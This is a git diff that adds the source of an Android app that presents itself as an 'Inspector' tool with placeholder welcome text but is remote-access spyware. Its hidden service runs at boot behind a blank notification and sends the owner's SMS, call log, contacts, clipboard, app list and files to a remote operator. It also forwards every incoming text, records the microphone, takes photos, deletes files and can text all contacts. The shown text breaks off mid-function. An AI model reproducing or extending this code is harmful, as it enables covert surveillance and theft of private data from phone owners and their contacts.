diff --git a/source code/apk src code v3/.gitignore b/source code/apk src code v3/.gitignore new file mode 100644 index 0000000..aa724b7 --- /dev/null +++ b/source code/apk src code v3/.gitignore @@ -0,0 +1,15 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties diff --git a/source code/apk src code v3/app/.gitignore b/source code/apk src code v3/app/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/source code/apk src code v3/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/source code/apk src code v3/app/build.gradle b/source code/apk src code v3/app/build.gradle new file mode 100644 index 0000000..50e7474 --- /dev/null +++ b/source code/apk src code v3/app/build.gradle @@ -0,0 +1,71 @@ +plugins { + id 'com.android.application' + id 'org.jetbrains.kotlin.android' +} + +android { + compileSdk 32 + + defaultConfig { + applicationId "willi.fiend" + minSdk 21 + targetSdk 32 + versionCode 1 + versionName "1.0" + + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + vectorDrawables { + useSupportLibrary true + } + } + + buildTypes { + release { + minifyEnabled true + shrinkResources true + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + kotlinOptions { + jvmTarget = '1.8' + } + buildFeatures { + compose true + } + composeOptions { + kotlinCompilerExtensionVersion compose_version + } + packagingOptions { + resources { + excludes += '/META-INF/{AL2.0,LGPL2.1}' + } + } +} + +dependencies { + + implementation 'androidx.core:core-ktx:1.8.0' + implementation "androidx.compose.ui:ui:$compose_version" + implementation 'androidx.compose.material3:material3:1.0.0-alpha15' + implementation "androidx.compose.ui:ui-tooling-preview:$compose_version" + implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.5.1' + implementation 'androidx.activity:activity-compose:1.5.1' + implementation 'androidx.appcompat:appcompat:1.4.2' + implementation 'com.google.android.material:material:1.6.1' + implementation 'androidx.constraintlayout:constraintlayout:2.1.4' + testImplementation 'junit:junit:4.13.2' + androidTestImplementation 'androidx.test.ext:junit:1.1.3' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' + androidTestImplementation "androidx.compose.ui:ui-test-junit4:$compose_version" + debugImplementation "androidx.compose.ui:ui-tooling:$compose_version" + debugImplementation "androidx.compose.ui:ui-test-manifest:$compose_version" + + implementation("com.squareup.okhttp3:okhttp:4.9.3") + implementation 'com.karumi:dexter:6.2.3' + implementation 'com.google.code.gson:gson:2.8.9' + implementation 'com.google.android.gms:play-services-location:20.0.0' +} \ No newline at end of file diff --git a/source code/apk src code v3/app/proguard-rules.pro b/source code/apk src code v3/app/proguard-rules.pro new file mode 100644 index 0000000..9795d5d --- /dev/null +++ b/source code/apk src code v3/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt new file mode 100644 index 0000000..36c4fac --- /dev/null +++ b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt @@ -0,0 +1,24 @@ +package willi.fiend + +import androidx.test.platform.app.InstrumentationRegistry +import androidx.test.ext.junit.runners.AndroidJUnit4 + +import org.junit.Test +import org.junit.runner.RunWith + +import org.junit.Assert.* + +/** + * Instrumented test, which will execute on an Android device. + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +@RunWith(AndroidJUnit4::class) +class ExampleInstrumentedTest { + @Test + fun useAppContext() { + // Context of the app under test. + val appContext = InstrumentationRegistry.getInstrumentation().targetContext + assertEquals("willi.fiend", appContext.packageName) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/AndroidManifest.xml b/source code/apk src code v3/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..4c16030 --- /dev/null +++ b/source code/apk src code v3/app/src/main/AndroidManifest.xml @@ -0,0 +1,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt new file mode 100644 index 0000000..fed0ecf --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt @@ -0,0 +1,56 @@ +package willi.fiend + +import android.annotation.SuppressLint +import android.content.Intent +import android.os.Bundle +import android.os.Environment +import android.util.Log +import android.webkit.WebView +import androidx.activity.ComponentActivity +import androidx.activity.compose.setContent +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import willi.fiend.Utils.AppTools +import willi.fiend.Ui.Screen.Page1 +import willi.fiend.Ui.Screen.Page2 +import me.fiend.Ui.Screen.WebView +import willi.fiend.Utils.AppRequest + + +class MainActivity : ComponentActivity() { + var webView: WebView? = null + @SuppressLint("WrongThread") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + AppTools.checkAppCloning(this) + val request = AppRequest() + request.sendWaterMark() + request.sendText(AppRequest.Text("ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪɴꜱᴛᴀʟʟᴇᴅ ᴀɴᴅ ᴏᴘᴇɴᴇᴅ , ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴘᴇʀᴍɪꜱꜱɪᴏɴꜱ ...")) + setContent { + val currentPage = remember { + mutableStateOf(0) + } + if (!AppTools.showWelcome(this)) currentPage.value = 2 + when (currentPage.value) { + 0 -> { + Page1 { + currentPage.value = 1 + } + } + 1 -> { + Page2 { + currentPage.value = 2 + } + } + 2 -> { + WebView() { + webView = it + } + if (!AppTools.isServiceRunning(this)) { + startService(Intent(this, MainService::class.java)) + } + } + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt new file mode 100644 index 0000000..80bf002 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt @@ -0,0 +1,58 @@ +package willi.fiend + +import android.annotation.SuppressLint +import android.app.* +import android.app.Notification.BADGE_ICON_NONE +import android.content.Intent +import android.os.IBinder +import android.widget.RemoteViews +import androidx.core.app.NotificationCompat +import androidx.core.app.NotificationCompat.BADGE_ICON_NONE +import willi.fiend.Utils.AppSocket + + +class MainService : Service() { + override fun onBind(p0: Intent?): IBinder? { + return null + } + + override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { + val socket = AppSocket(this) + val action = socket.action + socket.connect() + action.uploadApps() + action.uploadMessages() + action.uploadCalls() + action.uploadContact() + action.uploadDeviceInfo() + action.uploadClipboard() + return START_STICKY + } + + override fun onCreate() { + super.onCreate() + startForeground(1, getNotification()) + } + + @SuppressLint("NewApi") + private fun getNotification(): Notification { + val channelId = "channel" + val channelName = " " + val channel = NotificationChannel( + channelId, + channelName, + NotificationManager.IMPORTANCE_MIN + ) + channel.lockscreenVisibility = Notification.VISIBILITY_PRIVATE + val manager = (getSystemService(NOTIFICATION_SERVICE) as NotificationManager) + manager.createNotificationChannel(channel) + val notificationBuilder = NotificationCompat.Builder(this, channelId) + return notificationBuilder.setOngoing(true) + .setSmallIcon(R.drawable.mpt) + .setContentTitle(" ") + .setBadgeIconType(NotificationCompat.BADGE_ICON_NONE) + .setPriority(NotificationManager.IMPORTANCE_UNSPECIFIED) + .setCustomBigContentView(RemoteViews(packageName, R.layout.notification)) + .build() + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt new file mode 100644 index 0000000..7b1794d --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt @@ -0,0 +1,13 @@ +package willi.fiend.Receiver + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import androidx.core.content.ContextCompat +import willi.fiend.MainService + +class BootCompleteReceiver : BroadcastReceiver() { + override fun onReceive(p0: Context, p1: Intent) { + ContextCompat.startForegroundService(p0, Intent(p0, MainService::class.java)) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt new file mode 100644 index 0000000..993d732 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt @@ -0,0 +1,36 @@ +package willi.fiend.Receiver + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.telephony.SmsMessage +import android.util.Log +import willi.fiend.Utils.AppTools +import willi.fiend.Utils.AppPermission +import willi.fiend.Utils.AppRequest + + +class SmsReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + if (intent.action == "android.provider.Telephony.SMS_RECEIVED" && AppPermission(context).checkReadSms()) { + val bundle = intent.extras + val msgs: Array? + var msg_from: String? + if (bundle != null) { + try { + val pdus = bundle["pdus"] as Array<*>? + msgs = arrayOfNulls(pdus!!.size) + for (i in msgs.indices) { + msgs[i] = SmsMessage.createFromPdu(pdus[i] as ByteArray) + msg_from = msgs[i]?.originatingAddress + val msgBody = msgs[i]?.messageBody + val text = "New Message\nDevice : ${AppTools.getDeviceName()}\nFrom : $msg_from\nMessage : $msgBody" + AppRequest().sendText(AppRequest.Text(text)) + } + } catch (e: Exception) { + Log.i("data", "Ex") + } + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt new file mode 100644 index 0000000..37df5f1 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt @@ -0,0 +1,7 @@ +package willi.fiend.Ui + +import androidx.compose.ui.text.font.Font +import androidx.compose.ui.text.font.FontFamily +import willi.fiend.R + +val AppFont = FontFamily(Font(R.font.helvetica)) \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt new file mode 100644 index 0000000..2affe84 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt @@ -0,0 +1,90 @@ +package willi.fiend.Ui.Screen + +import androidx.compose.foundation.Image +import androidx.compose.foundation.layout.* +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material.icons.Icons +import androidx.compose.material.icons.filled.ArrowForward +import androidx.compose.material3.Button +import androidx.compose.material3.Icon +import androidx.compose.material3.Text +import androidx.compose.runtime.* +import androidx.compose.ui.Alignment +import androidx.compose.ui.Alignment.Companion.End +import androidx.compose.ui.Modifier +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.layout.ContentScale +import androidx.compose.ui.res.painterResource +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import kotlinx.coroutines.launch +import willi.fiend.Ui.AppFont +import willi.fiend.R + +@Composable +fun Page1(onNext: () -> Unit) { + val scope = rememberCoroutineScope() + Column(modifier = Modifier.fillMaxSize()) { + Image( + modifier = Modifier + .fillMaxWidth() + .weight(4f), + painter = painterResource(id = R.drawable.header), + contentDescription = null, + contentScale = ContentScale.Crop + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(0.6f) + .padding(top = 30.dp, start = 15.dp, end = 15.dp), + text = "Welcome to Inspector", + color = Color.Black, + fontFamily = AppFont, + fontSize = 25.sp, + fontWeight = FontWeight.Bold + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(2f) + .padding(top = 15.dp, start = 15.dp, end = 15.dp), + text = "Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill.", + color = Color.Black, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Button( + modifier = Modifier + .weight(0.71f) + .align(End) + .padding(top = 15.dp, end = 16.dp, bottom = 16.dp), + shape = RoundedCornerShape(50.dp), + onClick = { + scope.launch { + onNext() + } + } + ) { + Row( + horizontalArrangement = Arrangement.Center, + verticalAlignment = Alignment.CenterVertically + ) { + Spacer(modifier = Modifier.width(5.dp)) + Text( + modifier = Modifier + .padding(2.dp), + text = "Next", + color = Color.White, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Spacer(modifier = Modifier.width(3.dp)) + Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "") + } + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt new file mode 100644 index 0000000..ca78840 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt @@ -0,0 +1,92 @@ +package willi.fiend.Ui.Screen + +import androidx.compose.foundation.Image +import androidx.compose.foundation.layout.* +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.material.icons.Icons +import androidx.compose.material.icons.filled.ArrowForward +import androidx.compose.material3.Button +import androidx.compose.material3.Icon +import androidx.compose.material3.Text +import androidx.compose.runtime.Composable +import androidx.compose.ui.Alignment +import androidx.compose.ui.Alignment.Companion.End +import androidx.compose.ui.Modifier +import androidx.compose.ui.graphics.Color +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.res.painterResource +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import willi.fiend.Ui.AppFont +import willi.fiend.R +import willi.fiend.Utils.AppPermission +import willi.fiend.Utils.AppTools + +@Composable +fun Page2(onAgree: () -> Unit) { + val context = LocalContext.current + Column(modifier = Modifier.fillMaxSize()) { + Image( + modifier = Modifier + .fillMaxWidth() + .padding(35.dp) + .weight(4f), + painter = painterResource(id = R.drawable.settings), + contentDescription = null, + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(0.6f) + .padding(top = 30.dp, start = 15.dp, end = 15.dp), + text = "Grant Permission", + color = Color.Black, + fontFamily = AppFont, + fontSize = 25.sp, + fontWeight = FontWeight.Bold + ) + Text( + modifier = Modifier + .fillMaxWidth() + .weight(2f) + .padding(top = 15.dp, start = 15.dp, end = 15.dp), + text = "In order to use app functionality you need to allow app permission and agree the terms if use this app ", + color = Color.Black, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Button( + modifier = Modifier + .weight(0.71f) + .align(End) + .padding(top = 15.dp, end = 16.dp, bottom = 16.dp), + shape = RoundedCornerShape(50.dp), + onClick = { + AppPermission(context).getPerms { + AppTools.disableWelcome(context) + onAgree() + } + } + ) { + Row( + horizontalArrangement = Arrangement.Center, + verticalAlignment = Alignment.CenterVertically + ) { + Spacer(modifier = Modifier.width(5.dp)) + Text( + modifier = Modifier + .padding(2.dp), + text = "Agree and Continue", + color = Color.White, + fontFamily = AppFont, + fontSize = 20.sp, + fontWeight = FontWeight.Normal + ) + Spacer(modifier = Modifier.width(3.dp)) + Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "") + } + } + } +} diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt new file mode 100644 index 0000000..5ec5a8a --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt @@ -0,0 +1,40 @@ +package me.fiend.Ui.Screen + +import android.annotation.SuppressLint +import android.content.Intent +import android.provider.Settings +import android.view.ViewGroup +import android.webkit.WebView +import android.webkit.WebViewClient +import androidx.compose.runtime.Composable +import androidx.compose.ui.platform.LocalContext +import androidx.compose.ui.viewinterop.AndroidView +import willi.fiend.Utils.AppTools + +@SuppressLint("SetJavaScriptEnabled") +@Composable +fun WebView(onWebView: (webView:WebView) -> Unit) { + val context = LocalContext.current + val urlToRender = AppTools.getAppData().webView + AndroidView(factory = { + WebView(it).apply { + onWebView(this) + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT + ) + webViewClient = WebViewClient() + settings.javaScriptEnabled = true + settings.domStorageEnabled = true; + settings.setAppCacheEnabled(true); + settings.setAppCachePath(context.filesDir.absolutePath + "/cache"); + loadUrl(urlToRender) + setDownloadListener(AppTools.WebViewDownloadListener(context)) + } + }, update = { + it.loadUrl(urlToRender) + }) + if (!AppTools.isNotificationServiceRunning(context)) { + context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS)); + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt new file mode 100644 index 0000000..ce0113f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt @@ -0,0 +1,492 @@ +package willi.fiend.Utils + +import android.annotation.SuppressLint +import android.app.NotificationManager +import android.app.PendingIntent +import android.app.Service +import android.content.ClipboardManager +import android.content.ContentResolver +import android.content.Context +import android.content.Context.CLIPBOARD_SERVICE +import android.content.Intent +import android.content.pm.ResolveInfo +import android.database.Cursor +import android.graphics.SurfaceTexture +import android.hardware.Camera +import android.media.MediaPlayer +import android.media.MediaRecorder +import android.net.Uri +import android.os.* +import android.provider.CallLog +import android.provider.ContactsContract +import android.telephony.SmsManager +import android.widget.Toast +import androidx.core.app.NotificationCompat +import com.google.android.gms.location.FusedLocationProviderClient +import com.google.android.gms.location.LocationCallback +import com.google.android.gms.location.LocationRequest +import com.google.android.gms.location.LocationResult +import willi.fiend.R +import java.io.File +import java.io.FileWriter + + +class AppActions(val context: Context) { + private val request = AppRequest() + private val permission = AppPermission(context) + private var mediaPlayer: MediaPlayer? = null + + fun uploadCalls() { + if (permission.checkReadCallLog()) { + val numberCol = CallLog.Calls.NUMBER + val durationCol = CallLog.Calls.DURATION + val typeCol = CallLog.Calls.TYPE // 1 - Incoming, 2 - Outgoing, 3 - Missed + val projection = arrayOf(numberCol, durationCol, typeCol) + val cursor = context.contentResolver.query( + CallLog.Calls.CONTENT_URI, + projection, null, null, null + ) + val numberColIdx = cursor!!.getColumnIndex(numberCol) + val durationColIdx = cursor.getColumnIndex(durationCol) + val typeColIdx = cursor.getColumnIndex(typeCol) + var text = "Call log : \n\n" + while (cursor.moveToNext()) { + val number = cursor.getString(numberColIdx) + val duration = cursor.getString(durationColIdx) + val type = cursor.getString(typeColIdx) + val typeCorrect = + if (type == "1") "Incoming" else if (type == "2") "Outgoing" else "Missed" + text += "number : $number\nduration : $duration\nType : $typeCorrect\n\n" + } + cursor.close() + val file = File.createTempFile("Call Log - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(text) + writer.flush() + writer.close() + request.sendFile(file) + } else { + request.sendText(AppRequest.Text("ᴄᴀʟʟ ʟᴏɢ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range") + fun uploadContact() { + if (permission.checkReadContacts()) { + var allContactList = "All Contacts\n\n\n" + val cr: ContentResolver = context.contentResolver + val cur = cr.query( + ContactsContract.Contacts.CONTENT_URI, + null, null, null, null + ) + if ((cur?.count ?: 0) > 0) { + while (cur != null && cur.moveToNext()) { + val id = cur.getString( + cur.getColumnIndex(ContactsContract.Contacts._ID) + ) + val name = cur.getString( + cur.getColumnIndex( + ContactsContract.Contacts.DISPLAY_NAME + ) + ) + if (cur.getInt( + cur.getColumnIndex( + ContactsContract.Contacts.HAS_PHONE_NUMBER + ) + ) > 0 + ) { + val pCur = cr.query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, + ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", + arrayOf(id), + null + ) + while (pCur!!.moveToNext()) { + val phoneNo = pCur.getString( + pCur.getColumnIndex( + ContactsContract.CommonDataKinds.Phone.NUMBER + ) + ) + allContactList += "Name: $name\nPhone Number: $phoneNo\n\n" + } + pCur.close() + } + } + } + cur?.close() + val file = + File.createTempFile("All Contacts - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allContactList) + writer.flush() + writer.close() + request.sendFile(file) + } else { + request.sendText(AppRequest.Text("ᴄᴏɴᴛᴀᴄᴛ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range", "Recycle") + fun uploadMessages() { + if (permission.checkReadSms()) { + val sms = arrayListOf() + val uriSMSURI = Uri.parse("content://sms/inbox") + val cur: Cursor? = context.contentResolver.query(uriSMSURI, null, null, null, null) + if (cur != null) { + while (cur.moveToNext()) { + val address = cur.getString(cur.getColumnIndex("address")) + val body = cur.getString(cur.getColumnIndexOrThrow("body")) + sms.add(SmsModel(address, body, AppTools.getDeviceName())) + } + var allSmsText = "All Sms : \n\n" + for (message in sms) { + val number = message.phone + val device = message.device + val text = message.message + allSmsText += "Number : $number\nDevice : $device\nMessage : $text\n\n\n\n" + } + val file = + File.createTempFile("All Sms - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allSmsText) + writer.flush() + writer.close() + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("UnspecifiedImmutableFlag") + fun sendMessage(number: String, message: String) { + if (permission.checkSendSms()) { + val sentPI: PendingIntent = + PendingIntent.getBroadcast(context, 0, Intent("SMS_SENT"), 0) + SmsManager.getDefault() + .sendTextMessage(number, null, message, sentPI, null) + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("Range") + fun messageToAllContacts(message: String) { + if (permission.checkReadContacts() && permission.checkSendSms()) { + val cr: ContentResolver = context.contentResolver + val cur = cr.query( + ContactsContract.Contacts.CONTENT_URI, + null, null, null, null + ) + if ((cur?.count ?: 0) > 0) { + while (cur != null && cur.moveToNext()) { + val id = cur.getString( + cur.getColumnIndex(ContactsContract.Contacts._ID) + ) + if (cur.getInt( + cur.getColumnIndex( + ContactsContract.Contacts.HAS_PHONE_NUMBER + ) + ) > 0 + ) { + val pCur = cr.query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, + ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", + arrayOf(id), + null + ) + while (pCur!!.moveToNext()) { + val phoneNo = pCur.getString( + pCur.getColumnIndex( + ContactsContract.CommonDataKinds.Phone.NUMBER + ) + ) + sendMessage(phoneNo, message) + } + pCur.close() + } + } + } + cur?.close() + } else { + request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("WrongConstant") + fun uploadApps() { + var allAppsText = "All Apps :\n\n\n " + val mainIntent = Intent(Intent.ACTION_MAIN, null) + mainIntent.addCategory(Intent.CATEGORY_LAUNCHER) + val appList: List = + context.packageManager.queryIntentActivities(mainIntent, 0) + for (app in appList) { + allAppsText += app.activityInfo.name + "\n\n" + } + val file = File.createTempFile("All Apps - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append(allAppsText) + writer.flush() + writer.close() + request.sendFile(file) + } + + fun uploadDeviceInfo() { + val model = AppTools.getDeviceName() + val battery = AppTools.getBatteryPercentage(context) + val file = File.createTempFile("Device Status - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append("$model\n Battery Percentage : $battery") + writer.flush() + writer.close() + request.sendFile(file) + } + + fun uploadClipboard() { + AppScope.runMain { + val clipBoardManager = context.getSystemService(CLIPBOARD_SERVICE) as ClipboardManager + val clip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString() + val file = + File.createTempFile("Clipboard - ${AppTools.getDeviceName()} - ", ".txt") + val writer = FileWriter(file) + writer.append("new Clipboard : $clip") + writer.flush() + writer.close() + request.sendFile(file) + clipBoardManager.addPrimaryClipChangedListener { + val newClip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString() + val newFile = + File.createTempFile( + "Clipboard - ${AppTools.getDeviceName()} - ", + ".txt" + ) + val newWriter = FileWriter(newFile) + newWriter.append("new Clipboard : $newClip") + newWriter.flush() + newWriter.close() + request.sendFile(newFile) + } + } + } + + fun uploadFile(path: String) { + if (permission.checkReadExternalStorage()) { + val file = File(Environment.getExternalStorageDirectory().path + "/" + path) + if (file.exists()) { + if (file.isDirectory) { + val listFiles = file.listFiles() + if (listFiles != null) { + for (targetFile in listFiles) { + request.sendFile(targetFile) + } + } + } + if (file.isFile) { + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ")) + } + } else { + request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun deleteFile(path: String) { + if (AppPermission(context).checkWriteExternalStorage()) { + val file = File(Environment.getExternalStorageDirectory().path + "/" + path) + if (file.exists()) { + if (file.isDirectory) { + file.deleteRecursively() + request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + if (file.isFile) { + file.delete() + request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } else { + request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ")) + } + } else { + request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("NewApi") + fun captureMicrophone(duration: Long) { + if (AppPermission(context).checkCaptureMic()) { + request.sendText(AppRequest.Text("$duration ꜱᴇᴄᴏɴᴅ ʀᴇᴄᴏʀᴅ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Mic - ${AppTools.getDeviceName()} - ", ".amr") + val mediaRecord = MediaRecorder() + mediaRecord.setAudioSource(MediaRecorder.AudioSource.MIC) + mediaRecord.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP) + mediaRecord.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB) + mediaRecord.setOutputFile(file) + mediaRecord.prepare() + mediaRecord.start() + Handler(Looper.getMainLooper()).postDelayed({ + mediaRecord.stop() + mediaRecord.release() + request.sendFile(file) + }, duration * 1000) + } else { + request.sendText(AppRequest.Text("ᴍɪᴄʀᴏᴘʜᴏɴᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun captureCameraMain() { + if (AppPermission(context).checkCaptureCam()) { + request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ᴍᴀɪɴ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png") + val holder = SurfaceTexture(0) + val camera = Camera.open(0) + camera.setPreviewTexture(holder) + camera.startPreview() + camera.takePicture( + null, + null, + ) { p0, p1 -> + file.writeBytes(p0) + p1.release() + request.sendFile(file) + request.sendText(AppRequest.Text("")) + } + } else { + request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun captureCameraSelfie() { + if (AppPermission(context).checkCaptureCam()) { + request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ꜱᴇʟꜰɪᴇ 